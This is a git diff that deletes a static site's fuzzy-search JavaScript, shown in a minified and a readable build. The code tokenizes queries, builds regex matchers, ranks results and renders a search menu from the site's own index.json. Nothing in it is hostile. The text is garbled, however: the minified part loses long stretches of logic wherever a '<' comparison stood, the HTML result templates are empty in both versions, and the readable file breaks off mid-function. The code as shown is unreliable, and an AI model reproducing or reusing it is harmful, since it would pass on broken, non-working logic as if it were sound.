a/public/js/search-en.6a487e24dd42d36bf0c2f58669af941040a081e29f0b98d6a9abaee1e0c019819af6dca72d2d00b7d3114791c10ab69c6b14943afbd7f21e7d5acaa9020ff6ad.js +++ /dev/null @@ -1,6 +0,0 @@ -(()=>{(()=>{var $e="https://bytethecookies.github.io/index.json",Ze=new Intl.Collator("en",{numeric:!0,sensitivity:"base"}).compare,Ie=1/0,Re=e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),Me="eexxaacctt",Pe=/\p{P}/gu,He="A-Z",Ue="a-z",fe=(e,s,p)=>e.replace(He,s).replace(Ue,p),Be={unicode:!1,alpha:null,interSplit:"[^A-Za-z\\d']+",intraSplit:"[a-z][A-Z]",interBound:"[^A-Za-z\\d]",intraBound:"[A-Za-z]\\d|\\d[A-Za-z]|[a-z][A-Z]",interLft:0,interRgt:0,interChars:".",interIns:Ie,intraChars:"[a-z\\d']",intraIns:null,intraContr:"'[a-z]{1,2}\\b",intraMode:0,intraSlice:[1,Ie],intraSub:null,intraTrn:null,intraDel:null,intraFilt:(e,s,p)=>!0,sort:(e,s,p)=>{let{idx:r,chars:l,terms:o,interLft2:E,interLft1:$,start:ne,intraIns:W,interIns:V}=e;return r.map((B,S)=>S).sort((B,S)=>l[S]-l[B]||W[B]-W[S]||o[S]+E[S]+.5*$[S]-(o[B]+E[B]+.5*$[B])||V[B]-V[S]||ne[B]-ne[S]||Ze(s[r[B]],s[r[S]]))}},ve=(e,s)=>s==0?"":s==1?e+"??":s==Ie?e+"*?":e+`{0,${s}}?`,De="(?:\\b|_)";function Ee(e){e=Object.assign({},Be,e);let{unicode:s,interLft:p,interRgt:r,intraMode:l,intraSlice:o,intraIns:E,intraSub:$,intraTrn:ne,intraDel:W,intraContr:V,intraSplit:B,interSplit:S,intraBound:ce,interBound:de,intraChars:le}=e;E??=l,$??=l,ne??=l,W??=l;let M=e.letters??e.alpha;if(M!=null){let t=M.toLocaleUpperCase(),a=M.toLocaleLowerCase();S=fe(S,t,a),B=fe(B,t,a),de=fe(de,t,a),ce=fe(ce,t,a),le=fe(le,t,a),V=fe(V,t,a)}let c=s?"u":"",h='".+?"',y=new RegExp(h,"gi"+c),U=new RegExp(`(?:\\s+|^)-(?:${le}+|${h})`,"gi"+c),{intraRules:Z}=e;Z==null&&(Z=t=>{let a=Be.intraSlice,d=0,f=0,x=0,u=0;if(/[^\d]/.test(t)){let m=t.length;m<=4?m>=3&&(x=Math.min(ne,1),m==4&&(d=Math.min(E,1))):(a=o,d=E,f=$,x=ne,u=W)}return{intraSlice:a,intraIns:d,intraSub:f,intraTrn:x,intraDel:u}});let z=!!B,j=new RegExp(B,"g"+c),q=new RegExp(S,"g"+c),J=new RegExp("^"+S+"|"+S+"$","g"+c),he=new RegExp(V,"gi"+c),G=t=>{let a=[];t=t.replace(y,f=>(a.push(f),Me)),t=t.replace(J,"").toLocaleLowerCase(),z&&(t=t.replace(j,f=>f[0]+" "+f[1]));let d=0;return t.split(q).filter(f=>f!="").map(f=>f===Me?a[d++]:f)},Ce=/[^\d]+|\d+/g,we=(t,a=0,d=!1)=>{let f=G(t);if(f.length==0)return[];let x=Array(f.length).fill("");f=f.map((C,g)=>C.replace(he,k=>(x[g]=k,"")));let u;if(l==1)u=f.map((C,g)=>{if(C[0]==='"')return Re(C.slice(1,-1));let k="";for(let I of C.matchAll(Ce)){let i=I[0],{intraSlice:n,intraIns:v,intraSub:L,intraTrn:R,intraDel:w}=Z(i);if(v+L+R+w==0)k+=i+x[g];else{let[N,ge]=n,Q=i.slice(0,N),se=i.slice(ge),D=i.slice(N,ge);v==1&&Q.length==1&&Q!=D[0]&&(Q+="(?!"+Q+")");let ae=D.length,re=[i];if(L)for(let _=0;_0&&(C=")("+C+")("),u=f.map((g,k)=>g[0]==='"'?Re(g.slice(1,-1)):g.split("").map((I,i,n)=>(E==1&&i==0&&n.length>1&&I!=n[i+1]&&(I+="(?!"+I+")"),I)).join(C)+x[k])}let m=p==2?De:"",O=r==2?De:"",Y=O+ve(e.interChars,e.interIns)+m;return a>0?d?u=m+"("+u.join(")"+O+"|"+m+"(")+")"+O:(u="("+u.join(")("+Y+")(")+")",u="(.??"+m+")"+u+"("+O+".*)"):(u=u.join(Y),u=m+u+O),[new RegExp(u,"i"+c),f,x]},Le=(t,a,d)=>{let[f]=we(a);if(f==null)return null;let x=[];if(d!=null)for(let u=0;u{let[f,x,u]=we(d,1),[m]=we(d,2),O=x.length,Y=t.length,C=Array(Y).fill(0),g={idx:Array(Y),start:C.slice(),chars:C.slice(),terms:C.slice(),interIns:C.slice(),intraIns:C.slice(),interLft2:C.slice(),interRgt2:C.slice(),interLft1:C.slice(),interRgt1:C.slice(),ranges:Array(Y)},k=p==1||r==1,I=0;for(let i=0;i=P){let T=v[b+1].toLocaleLowerCase().indexOf(ee);T>-1&&(X.push(R,H,T,P),R+=Se(v,b,T,P),ie=ee,H=P,F=!0,A==0&&(L=R))}if(k||F){let T=R-1,te=R+H,ue=!1,me=!1;if(T==-1||Ae.test(n[T]))F&&N++,ue=!0;else{if(p==2){w=!0;break}if(je&&Te.test(n[T]+n[T+1]))F&&ge++,ue=!0;else if(p==1){let _e=v[b+1],pe=R+H;if(_e.length>=P){let oe=0,xe=!1,Je=new RegExp(ee,"ig"+c),ke;for(;ke=Je.exec(_e);){oe=ke.index;let Fe=pe+oe,be=Fe-1;if(be==-1||Ae.test(n[be])){N++,xe=!0;break}else if(Te.test(n[be]+n[Fe])){ge++,xe=!0;break}}xe&&(ue=!0,X.push(R,H,oe,P),R+=Se(v,b,oe,P),ie=ee,H=P,F=!0,A==0&&(L=R))}if(!ue){w=!0;break}}}if(te==n.length||Ae.test(n[te]))F&&Q++,me=!0;else{if(r==2){w=!0;break}if(je&&Te.test(n[te-1]+n[te]))F&&se++,me=!0;else if(r==1){w=!0;break}}F&&(D+=P,ue&&me&&ae++)}if(H>P&&(_+=H-P),A>0&&(re+=v[b-1].length),!e.intraFilt(ee,ie,R)){w=!0;break}A0?0:1/0,ee=ie-4;for(let T=2;T0&&(P.push(H,F),H=F=b)}F>H&&P.push(H,F),I++}}if(I{let x=t[a]+t[a+1].slice(0,d);return t[a-1]+=x,t[a]=t[a+1].slice(d,d+f),t[a+1]=t[a+1].slice(d+f),x.length},Qe=5,We=(t,a,d,f=1e3,x)=>{d=d?d===!0?Qe:d:0;let u=null,m=null,O=[];a=a.replace(U,i=>{let n=i.trim().slice(1);return n=n[0]==='"'?Re(n.slice(1,-1)):n.replace(Pe,""),n!=""&&O.push(n),""});let Y=G(a),C;if(O.length>0){if(C=new RegExp(O.join("|"),"i"+c),Y.length==0){let i=[];for(let n=0;n0){let i=G(a);if(i.length>1){let n=i.slice().sort((L,R)=>R.length-L.length);for(let L=0;Ld)return[x,null,null];u=ye(i).map(L=>L.join(" ")),m=[];let v=new Set;for(let L=0;L!v.has(N)),w=Le(t,u[L],R);for(let N=0;N0?x:Le(t,a)]);let g=null,k=null;if(O.length>0&&(m=m.map(i=>i.filter(n=>!C.test(t[n])))),m.reduce((i,n)=>i+n.length,0)<=f){g={},k=[];for(let i=0;i0)for(let w=0;wWe(...t),split:G,filter:Le,info:ze,sort:e.sort}}var qe=(()=>{let e={A:"\xC1\xC0\xC3\xC2\xC4\u0104",a:"\xE1\xE0\xE3\xE2\xE4\u0105",E:"\xC9\xC8\xCA\xCB\u0116",e:"\xE9\xE8\xEA\xEB\u0119",I:"\xCD\xCC\xCE\xCF\u012E",i:"\xED\xEC\xEE\xEF\u012F",O:"\xD3\xD2\xD4\xD5\xD6",o:"\xF3\xF2\xF4\xF5\xF6",U:"\xDA\xD9\xDB\xDC\u016A\u0172",u:"\xFA\xF9\xFB\xFC\u016B\u0173",C:"\xC7\u010C\u0106",c:"\xE7\u010D\u0107",L:"\u0141",l:"\u0142",N:"\xD1\u0143",n:"\xF1\u0144",S:"\u0160\u015A",s:"\u0161\u015B",Z:"\u017B\u0179",z:"\u017C\u017A"},s=new Map,p="";for(let o in e)e[o].split("").forEach(E=>{p+=E,s.set(E,o)});let r=new RegExp(`[${p}]`,"g"),l=o=>s.get(o);return o=>{if(typeof o=="string")return o.replace(r,l);let E=Array(o.length);for(let $=0;$s?`${e}`:e,Ne=(e,s)=>e+s;function Xe(e,s,p=Oe,r="",l=Ne){r=l(r,p(e.substring(0,s[0]),!1))??r;for(let o=0;oye([...Array(e.length).keys()]).sort((p,r)=>{for(let l=0;lp.map(r=>e[r])),Ee.highlight=Xe;async function Ge(){let e=fetch($e),s=document.getElementById("search_btn"),p=document.getElementById("search_menu_wrapper"),r=document.getElementById("search_menu_close_btn"),l=document.getElementById("search_menu_input"),o=document.getElementById("search_menu_results");s.addEventListener("click",function(){p.classList.remove("hidden"),l.focus()}),r.addEventListener("click",function(){p.classList.add("hidden")});let E=await(await e).json(),$={unicode:!0,interSplit:"[^\\p{L}\\d']+",intraSplit:"\\p{Ll}\\p{Lu}",intraBound:"\\p{L}\\d|\\d\\p{L}|\\p{Ll}\\p{Lu}",intraChars:"[\\p{L}\\d']",intraContr:"'\\p{L}{1,2}\\b"},ne=new Ee($),W=[];E.forEach(M=>{W.push(M.title,M.content)});let V=(M,c,h)=>` -
-
${M}
-
${h}
-
-
`,B=()=>{o.innerHTML=E.reduce((M,c)=>{let h=c.content.length>100?c.content.substring(0,100)+"...":c.content;return M+V(c.title,c.permalink,h)},"")},S=M=>""+M+"",ce=(M,c)=>{let h="",y=W[M],U=0;for(let Z=0;Z{let h="",y=W[M],U=20,Z=100,z=-1,j=-1;for(let q=0;q{let[c,h,y]=ne.search(W,M),U=[],Z=new Map;for(let z=0;zz+V(j.title,j.permalink,j.content),"")};l.addEventListener("input",function(){this.value===""?B():le(this.value.trim())}),B()}window.addEventListener("DOMContentLoaded",Ge)})();})(); diff --git a/public/js/search-en.js b/public/js/search-en.js deleted file mode 100644 index 483991b0..00000000 --- a/public/js/search-en.js +++ /dev/null @@ -1,803 +0,0 @@ -(() => { - // - (() => { - var index_url = "http://localhost:1313/index.json"; - var cmp = new Intl.Collator("en", { numeric: true, sensitivity: "base" }).compare; - var inf = Infinity; - var escapeRegExp = (str) => str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); - var EXACT_HERE = "eexxaacctt"; - var PUNCT_RE = /\p{P}/gu; - var LATIN_UPPER = "A-Z"; - var LATIN_LOWER = "a-z"; - var swapAlpha = (str, upper, lower) => str.replace(LATIN_UPPER, upper).replace(LATIN_LOWER, lower); - var OPTS = { - // whether regexps use a /u unicode flag - unicode: false, - alpha: null, - // term segmentation & punct/whitespace merging - interSplit: "[^A-Za-z\\d']+", - intraSplit: "[a-z][A-Z]", - // inter bounds that will be used to increase lft2/rgt2 info counters - interBound: "[^A-Za-z\\d]", - // intra bounds that will be used to increase lft1/rgt1 info counters - intraBound: "[A-Za-z]\\d|\\d[A-Za-z]|[a-z][A-Z]", - // inter-bounds mode - // 2 = strict (will only match 'man' on whitepace and punct boundaries: Mega Man, Mega_Man, mega.man) - // 1 = loose (plus allowance for alpha-num and case-change boundaries: MegaMan, 0007man) - // 0 = any (will match 'man' as any substring: megamaniac) - interLft: 0, - interRgt: 0, - // allowance between terms - interChars: ".", - interIns: inf, - // allowance between chars in terms - intraChars: "[a-z\\d']", - // internally case-insensitive - intraIns: null, - intraContr: "'[a-z]{1,2}\\b", - // multi-insert or single-error mode - intraMode: 0, - // single-error bounds for errors within terms, default requires exact first char - intraSlice: [1, inf], - // single-error tolerance toggles - intraSub: null, - intraTrn: null, - intraDel: null, - // can post-filter matches that are too far apart in distance or length - // (since intraIns is between each char, it can accum to nonsense matches) - intraFilt: (term, match, index) => true, - // should this also accept WIP info? - // final sorting fn - sort: (info, haystack, needle) => { - let { - idx, - chars, - terms, - interLft2, - interLft1, - // interRgt2, - // interRgt1, - start, - intraIns, - interIns - } = info; - return idx.map((v, i) => i).sort((ia, ib) => ( - // most contig chars matched - chars[ib] - chars[ia] || // least char intra-fuzz (most contiguous) - intraIns[ia] - intraIns[ib] || // most prefix bounds, boosted by full term matches - terms[ib] + interLft2[ib] + 0.5 * interLft1[ib] - (terms[ia] + interLft2[ia] + 0.5 * interLft1[ia]) || // highest density of match (least span) - // span[ia] - span[ib] || - // highest density of match (least term inter-fuzz) - interIns[ia] - interIns[ib] || // earliest start of match - start[ia] - start[ib] || // alphabetic - cmp(haystack[idx[ia]], haystack[idx[ib]]) - )); - } - }; - var lazyRepeat = (chars, limit) => limit == 0 ? "" : limit == 1 ? chars + "??" : limit == inf ? chars + "*?" : chars + `{0,${limit}}?`; - var mode2Tpl = "(?:\\b|_)"; - function uFuzzy(opts) { - opts = Object.assign({}, OPTS, opts); - let { - unicode, - interLft, - interRgt, - intraMode, - intraSlice, - intraIns, - intraSub, - intraTrn, - intraDel, - intraContr, - intraSplit: _intraSplit, - interSplit: _interSplit, - intraBound: _intraBound, - interBound: _interBound, - intraChars - } = opts; - intraIns ??= intraMode; - intraSub ??= intraMode; - intraTrn ??= intraMode; - intraDel ??= intraMode; - let alpha = opts.letters ?? opts.alpha; - if (alpha != null) { - let upper = alpha.toLocaleUpperCase(); - let lower = alpha.toLocaleLowerCase(); - _interSplit = swapAlpha(_interSplit, upper, lower); - _intraSplit = swapAlpha(_intraSplit, upper, lower); - _interBound = swapAlpha(_interBound, upper, lower); - _intraBound = swapAlpha(_intraBound, upper, lower); - intraChars = swapAlpha(intraChars, upper, lower); - intraContr = swapAlpha(intraContr, upper, lower); - } - let uFlag = unicode ? "u" : ""; - const quotedAny = '".+?"'; - const EXACTS_RE = new RegExp(quotedAny, "gi" + uFlag); - const NEGS_RE = new RegExp(`(?:\\s+|^)-(?:${intraChars}+|${quotedAny})`, "gi" + uFlag); - let { intraRules } = opts; - if (intraRules == null) { - intraRules = (p) => { - let _intraSlice = OPTS.intraSlice, _intraIns = 0, _intraSub = 0, _intraTrn = 0, _intraDel = 0; - if (/[^\d]/.test(p)) { - let plen = p.length; - if (plen <= 4) { - if (plen >= 3) { - _intraTrn = Math.min(intraTrn, 1); - if (plen == 4) - _intraIns = Math.min(intraIns, 1); - } - } else { - _intraSlice = intraSlice; - _intraIns = intraIns, _intraSub = intraSub, _intraTrn = intraTrn, _intraDel = intraDel; - } - } - return { - intraSlice: _intraSlice, - intraIns: _intraIns, - intraSub: _intraSub, - intraTrn: _intraTrn, - intraDel: _intraDel - }; - }; - } - let withIntraSplit = !!_intraSplit; - let intraSplit = new RegExp(_intraSplit, "g" + uFlag); - let interSplit = new RegExp(_interSplit, "g" + uFlag); - let trimRe = new RegExp("^" + _interSplit + "|" + _interSplit + "$", "g" + uFlag); - let contrsRe = new RegExp(intraContr, "gi" + uFlag); - const split = (needle) => { - let exacts = []; - needle = needle.replace(EXACTS_RE, (m) => { - exacts.push(m); - return EXACT_HERE; - }); - needle = needle.replace(trimRe, "").toLocaleLowerCase(); - if (withIntraSplit) - needle = needle.replace(intraSplit, (m) => m[0] + " " + m[1]); - let j = 0; - return needle.split(interSplit).filter((t) => t != "").map((v) => v === EXACT_HERE ? exacts[j++] : v); - }; - const NUM_OR_ALPHA_RE = /[^\d]+|\d+/g; - const prepQuery = (needle, capt = 0, interOR = false) => { - let parts = split(needle); - if (parts.length == 0) - return []; - let contrs = Array(parts.length).fill(""); - parts = parts.map((p, pi) => p.replace(contrsRe, (m) => { - contrs[pi] = m; - return ""; - })); - let reTpl; - if (intraMode == 1) { - reTpl = parts.map((p, pi) => { - if (p[0] === '"') - return escapeRegExp(p.slice(1, -1)); - let reTpl2 = ""; - for (let m of p.matchAll(NUM_OR_ALPHA_RE)) { - let p2 = m[0]; - let { - intraSlice: intraSlice2, - intraIns: intraIns2, - intraSub: intraSub2, - intraTrn: intraTrn2, - intraDel: intraDel2 - } = intraRules(p2); - if (intraIns2 + intraSub2 + intraTrn2 + intraDel2 == 0) - reTpl2 += p2 + contrs[pi]; - else { - let [lftIdx, rgtIdx] = intraSlice2; - let lftChar = p2.slice(0, lftIdx); - let rgtChar = p2.slice(rgtIdx); - let chars = p2.slice(lftIdx, rgtIdx); - if (intraIns2 == 1 && lftChar.length == 1 && lftChar != chars[0]) - lftChar += "(?!" + lftChar + ")"; - let numChars = chars.length; - let variants = [p2]; - if (intraSub2) { - for (let i = 0; i < numChars; i++) - variants.push(lftChar + chars.slice(0, i) + intraChars + chars.slice(i + 1) + rgtChar); - } - if (intraTrn2) { - for (let i = 0; i < numChars - 1; i++) { - if (chars[i] != chars[i + 1]) - variants.push(lftChar + chars.slice(0, i) + chars[i + 1] + chars[i] + chars.slice(i + 2) + rgtChar); - } - } - if (intraDel2) { - for (let i = 0; i < numChars; i++) - variants.push(lftChar + chars.slice(0, i + 1) + "?" + chars.slice(i + 1) + rgtChar); - } - if (intraIns2) { - let intraInsTpl = lazyRepeat(intraChars, 1); - for (let i = 0; i < numChars; i++) - variants.push(lftChar + chars.slice(0, i) + intraInsTpl + chars.slice(i) + rgtChar); - } - reTpl2 += "(?:" + variants.join("|") + ")" + contrs[pi]; - } - } - return reTpl2; - }); - } else { - let intraInsTpl = lazyRepeat(intraChars, intraIns); - if (capt == 2 && intraIns > 0) { - intraInsTpl = ")(" + intraInsTpl + ")("; - } - reTpl = parts.map((p, pi) => p[0] === '"' ? escapeRegExp(p.slice(1, -1)) : p.split("").map((c, i, chars) => { - if (intraIns == 1 && i == 0 && chars.length > 1 && c != chars[i + 1]) - c += "(?!" + c + ")"; - return c; - }).join(intraInsTpl) + contrs[pi]); - } - let preTpl = interLft == 2 ? mode2Tpl : ""; - let sufTpl = interRgt == 2 ? mode2Tpl : ""; - let interCharsTpl = sufTpl + lazyRepeat(opts.interChars, opts.interIns) + preTpl; - if (capt > 0) { - if (interOR) { - reTpl = preTpl + "(" + reTpl.join(")" + sufTpl + "|" + preTpl + "(") + ")" + sufTpl; - } else { - reTpl = "(" + reTpl.join(")(" + interCharsTpl + ")(") + ")"; - reTpl = "(.??" + preTpl + ")" + reTpl + "(" + sufTpl + ".*)"; - } - } else { - reTpl = reTpl.join(interCharsTpl); - reTpl = preTpl + reTpl + sufTpl; - } - return [new RegExp(reTpl, "i" + uFlag), parts, contrs]; - }; - const filter = (haystack, needle, idxs) => { - let [query] = prepQuery(needle); - if (query == null) - return null; - let out = []; - if (idxs != null) { - for (let i = 0; i < idxs.length; i++) { - let idx = idxs[i]; - query.test(haystack[idx]) && out.push(idx); - } - } else { - for (let i = 0; i < haystack.length; i++) - query.test(haystack[i]) && out.push(i); - } - return out; - }; - let withIntraBound = !!_intraBound; - let interBound = new RegExp(_interBound, uFlag); - let intraBound = new RegExp(_intraBound, uFlag); - const info = (idxs, haystack, needle) => { - let [query, parts, contrs] = prepQuery(needle, 1); - let [queryR] = prepQuery(needle, 2); - let partsLen = parts.length; - let len = idxs.length; - let field = Array(len).fill(0); - let info2 = { - // idx in haystack - idx: Array(len), - // start of match - start: field.slice(), - // length of match - // span: field.slice(), - // contiguous chars matched - chars: field.slice(), - // contiguous (no fuzz) and bounded terms (intra=0, lft2/1, rgt2/1) - // excludes terms that are contiguous but have < 2 bounds (substrings) - terms: field.slice(), - // cumulative length of unmatched chars (fuzz) within span - interIns: field.slice(), - // between terms - intraIns: field.slice(), - // within terms - // interLft/interRgt counters - interLft2: field.slice(), - interRgt2: field.slice(), - interLft1: field.slice(), - interRgt1: field.slice(), - ranges: Array(len) - }; - let mayDiscard = interLft == 1 || interRgt == 1; - let ii = 0; - for (let i = 0; i < idxs.length; i++) { - let mhstr = haystack[idxs[i]]; - let m = mhstr.match(query); - let start = m.index + m[1].length; - let idxAcc = start; - let disc = false; - let lft2 = 0; - let lft1 = 0; - let rgt2 = 0; - let rgt1 = 0; - let chars = 0; - let terms = 0; - let inter = 0; - let intra = 0; - let refine = []; - for (let j = 0, k = 2; j < partsLen; j++, k += 2) { - let group = m[k].toLocaleLowerCase(); - let part = parts[j]; - let term = part[0] == '"' ? part.slice(1, -1) : part + contrs[j]; - let termLen = term.length; - let groupLen = group.length; - let fullMatch = group == term; - if (!fullMatch && m[k + 1].length >= termLen) { - let idxOf = m[k + 1].toLocaleLowerCase().indexOf(term); - if (idxOf > -1) { - refine.push(idxAcc, groupLen, idxOf, termLen); - idxAcc += refineMatch(m, k, idxOf, termLen); - group = term; - groupLen = termLen; - fullMatch = true; - if (j == 0) - start = idxAcc; - } - } - if (mayDiscard || fullMatch) { - let lftCharIdx = idxAcc - 1; - let rgtCharIdx = idxAcc + groupLen; - let isPre = false; - let isSuf = false; - if (lftCharIdx == -1 || interBound.test(mhstr[lftCharIdx])) { - fullMatch && lft2++; - isPre = true; - } else { - if (interLft == 2) { - disc = true; - break; - } - if (withIntraBound && intraBound.test(mhstr[lftCharIdx] + mhstr[lftCharIdx + 1])) { - fullMatch && lft1++; - isPre = true; - } else { - if (interLft == 1) { - let junk = m[k + 1]; - let junkIdx = idxAcc + groupLen; - if (junk.length >= termLen) { - let idxOf = 0; - let found = false; - let re = new RegExp(term, "ig" + uFlag); - let m2; - while (m2 = re.exec(junk)) { - idxOf = m2.index; - let charIdx = junkIdx + idxOf; - let lftCharIdx2 = charIdx - 1; - if (lftCharIdx2 == -1 || interBound.test(mhstr[lftCharIdx2])) { - lft2++; - found = true; - break; - } else if (intraBound.test(mhstr[lftCharIdx2] + mhstr[charIdx])) { - lft1++; - found = true; - break; - } - } - if (found) { - isPre = true; - refine.push(idxAcc, groupLen, idxOf, termLen); - idxAcc += refineMatch(m, k, idxOf, termLen); - group = term; - groupLen = termLen; - fullMatch = true; - if (j == 0) - start = idxAcc; - } - } - if (!isPre) { - disc = true; - break; - } - } - } - } - if (rgtCharIdx == mhstr.length || interBound.test(mhstr[rgtCharIdx])) { - fullMatch && rgt2++; - isSuf = true; - } else { - if (interRgt == 2) { - disc = true; - break; - } - if (withIntraBound && intraBound.test(mhstr[rgtCharIdx - 1] + mhstr[rgtCharIdx])) { - fullMatch && rgt1++; - isSuf = true; - } else { - if (interRgt == 1) { - disc = true; - break; - } - } - } - if (fullMatch) { - chars += termLen; - if (isPre && isSuf) - terms++; - } - } - if (groupLen > termLen) - intra += groupLen - termLen; - if (j > 0) - inter += m[k - 1].length; - if (!opts.intraFilt(term, group, idxAcc)) { - disc = true; - break; - } - if (j < partsLen - 1) - idxAcc += groupLen + m[k + 1].length; - } - if (!disc) { - info2.idx[ii] = idxs[i]; - info2.interLft2[ii] = lft2; - info2.interLft1[ii] = lft1; - info2.interRgt2[ii] = rgt2; - info2.interRgt1[ii] = rgt1; - info2.chars[ii] = chars; - info2.terms[ii] = terms; - info2.interIns[ii] = inter; - info2.intraIns[ii] = intra; - info2.start[ii] = start; - let m2 = mhstr.match(queryR); - let idxAcc2 = m2.index + m2[1].length; - let refLen = refine.length; - let ri = refLen > 0 ? 0 : Infinity; - let lastRi = refLen - 4; - for (let i2 = 2; i2 < m2.length; ) { - let len2 = m2[i2].length; - if (ri <= lastRi && refine[ri] == idxAcc2) { - let groupLen = refine[ri + 1]; - let idxOf = refine[ri + 2]; - let termLen = refine[ri + 3]; - let j = i2; - let v = ""; - for (let _len = 0; _len < groupLen; j++) { - v += m2[j]; - _len += m2[j].length; - } - m2.splice(i2, j - i2, v); - idxAcc2 += refineMatch(m2, i2, idxOf, termLen); - ri += 4; - } else { - idxAcc2 += len2; - i2++; - } - } - idxAcc2 = m2.index + m2[1].length; - let ranges = info2.ranges[ii] = []; - let from = idxAcc2; - let to = idxAcc2; - for (let i2 = 2; i2 < m2.length; i2++) { - let len2 = m2[i2].length; - idxAcc2 += len2; - if (i2 % 2 == 0) - to = idxAcc2; - else if (len2 > 0) { - ranges.push(from, to); - from = to = idxAcc2; - } - } - if (to > from) - ranges.push(from, to); - ii++; - } - } - if (ii < idxs.length) { - for (let k in info2) - info2[k] = info2[k].slice(0, ii); - } - return info2; - }; - const refineMatch = (m, k, idxInNext, termLen) => { - let prepend = m[k] + m[k + 1].slice(0, idxInNext); - m[k - 1] += prepend; - m[k] = m[k + 1].slice(idxInNext, idxInNext + termLen); - m[k + 1] = m[k + 1].slice(idxInNext + termLen); - return prepend.length; - }; - const OOO_TERMS_LIMIT = 5; - const _search = (haystack, needle, outOfOrder, infoThresh = 1e3, preFiltered) => { - outOfOrder = !outOfOrder ? 0 : outOfOrder === true ? OOO_TERMS_LIMIT : outOfOrder; - let needles = null; - let matches = null; - let negs = []; - needle = needle.replace(NEGS_RE, (m) => { - let neg = m.trim().slice(1); - neg = neg[0] === '"' ? escapeRegExp(neg.slice(1, -1)) : neg.replace(PUNCT_RE, ""); - if (neg != "") - negs.push(neg); - return ""; - }); - let terms = split(needle); - let negsRe; - if (negs.length > 0) { - negsRe = new RegExp(negs.join("|"), "i" + uFlag); - if (terms.length == 0) { - let idxs = []; - for (let i = 0; i < haystack.length; i++) { - if (!negsRe.test(haystack[i])) - idxs.push(i); - } - return [idxs, null, null]; - } - } else { - if (terms.length == 0) - return [null, null, null]; - } - if (outOfOrder > 0) { - let terms2 = split(needle); - if (terms2.length > 1) { - let terms22 = terms2.slice().sort((a, b) => b.length - a.length); - for (let ti = 0; ti < terms22.length; ti++) { - if (preFiltered?.length == 0) - return [[], null, null]; - preFiltered = filter(haystack, terms22[ti], preFiltered); - } - if (terms2.length > outOfOrder) - return [preFiltered, null, null]; - needles = permute(terms2).map((perm) => perm.join(" ")); - matches = []; - let matchedIdxs = /* @__PURE__ */ new Set(); - for (let ni = 0; ni < needles.length; ni++) { - if (matchedIdxs.size < preFiltered.length) { - let preFiltered2 = preFiltered.filter((idx) => !matchedIdxs.has(idx)); - let matched = filter(haystack, needles[ni], preFiltered2); - for (let j = 0; j < matched.length; j++) - matchedIdxs.add(matched[j]); - matches.push(matched); - } else - matches.push([]); - } - } - } - if (needles == null) { - needles = [needle]; - matches = [preFiltered?.length > 0 ? preFiltered : filter(haystack, needle)]; - } - let retInfo = null; - let retOrder = null; - if (negs.length > 0) - matches = matches.map((idxs) => idxs.filter((idx) => !negsRe.test(haystack[idx]))); - let matchCount = matches.reduce((acc, idxs) => acc + idxs.length, 0); - if (matchCount <= infoThresh) { - retInfo = {}; - retOrder = []; - for (let ni = 0; ni < matches.length; ni++) { - let idxs = matches[ni]; - if (idxs == null || idxs.length == 0) - continue; - let needle2 = needles[ni]; - let _info = info(idxs, haystack, needle2); - let order = opts.sort(_info, haystack, needle2); - if (ni > 0) { - for (let i = 0; i < order.length; i++) - order[i] += retOrder.length; - } - for (let k in _info) - retInfo[k] = (retInfo[k] ?? []).concat(_info[k]); - retOrder = retOrder.concat(order); - } - } - return [ - [].concat(...matches), - retInfo, - retOrder - ]; - }; - return { - search: (...args) => { - let out = _search(...args); - return out; - }, - split, - filter, - info, - sort: opts.sort - }; - } - var latinize = (() => { - let accents = { - A: "\xC1\xC0\xC3\xC2\xC4\u0104", - a: "\xE1\xE0\xE3\xE2\xE4\u0105", - E: "\xC9\xC8\xCA\xCB\u0116", - e: "\xE9\xE8\xEA\xEB\u0119", - I: "\xCD\xCC\xCE\xCF\u012E", - i: "\xED\xEC\xEE\xEF\u012F", - O: "\xD3\xD2\xD4\xD5\xD6", - o: "\xF3\xF2\xF4\xF5\xF6", - U: "\xDA\xD9\xDB\xDC\u016A\u0172", - u: "\xFA\xF9\xFB\xFC\u016B\u0173", - C: "\xC7\u010C\u0106", - c: "\xE7\u010D\u0107", - L: "\u0141", - l: "\u0142", - N: "\xD1\u0143", - n: "\xF1\u0144", - S: "\u0160\u015A", - s: "\u0161\u015B", - Z: "\u017B\u0179", - z: "\u017C\u017A" - }; - let accentsMap = /* @__PURE__ */ new Map(); - let accentsTpl = ""; - for (let r in accents) { - accents[r].split("").forEach((a) => { - accentsTpl += a; - accentsMap.set(a, r); - }); - } - let accentsRe = new RegExp(`[${accentsTpl}]`, "g"); - let replacer = (m) => accentsMap.get(m); - return (strings) => { - if (typeof strings == "string") - return strings.replace(accentsRe, replacer); - let out = Array(strings.length); - for (let i = 0; i < strings.length; i++) - out[i] = strings[i].replace(accentsRe, replacer); - return out; - }; - })(); - function permute(arr) { - arr = arr.slice(); - let length = arr.length, result = [arr.slice()], c = new Array(length).fill(0), i = 1, k, p; - while (i < length) { - if (c[i] < i) { - k = i % 2 && c[i]; - p = arr[i]; - arr[i] = arr[k]; - arr[k] = p; - ++c[i]; - i = 1; - result.push(arr.slice()); - } else { - c[i] = 0; - ++i; - } - } - return result; - } - var _mark = (part, matched) => matched ? `${part}` : part; - var _append = (acc, part) => acc + part; - function highlight(str, ranges, mark = _mark, accum = "", append = _append) { - accum = append(accum, mark(str.substring(0, ranges[0]), false)) ?? accum; - for (let i = 0; i < ranges.length; i += 2) { - let fr = ranges[i]; - let to = ranges[i + 1]; - accum = append(accum, mark(str.substring(fr, to), true)) ?? accum; - if (i < ranges.length - 3) - accum = append(accum, mark(str.substring(ranges[i + 1], ranges[i + 2]), false)) ?? accum; - } - accum = append(accum, mark(str.substring(ranges[ranges.length - 1]), false)) ?? accum; - return accum; - } - uFuzzy.latinize = latinize; - uFuzzy.permute = (arr) => { - let idxs = permute([...Array(arr.length).keys()]).sort((a, b) => { - for (let i = 0; i < a.length; i++) { - if (a[i] != b[i]) - return a[i] - b[i]; - } - return 0; - }); - return idxs.map((pi) => pi.map((i) => arr[i])); - }; - uFuzzy.highlight = highlight; - async function init() { - const response = fetch(index_url); - const search_btn = document.getElementById("search_btn"); - const search_menu_wrapper = document.getElementById("search_menu_wrapper"); - const search_menu_close_btn = document.getElementById("search_menu_close_btn"); - const search_menu_input = document.getElementById("search_menu_input"); - const search_menu_results = document.getElementById("search_menu_results"); - search_btn.addEventListener("click", function() { - search_menu_wrapper.classList.remove("hidden"); - search_menu_input.focus(); - }); - search_menu_close_btn.addEventListener("click", function() { 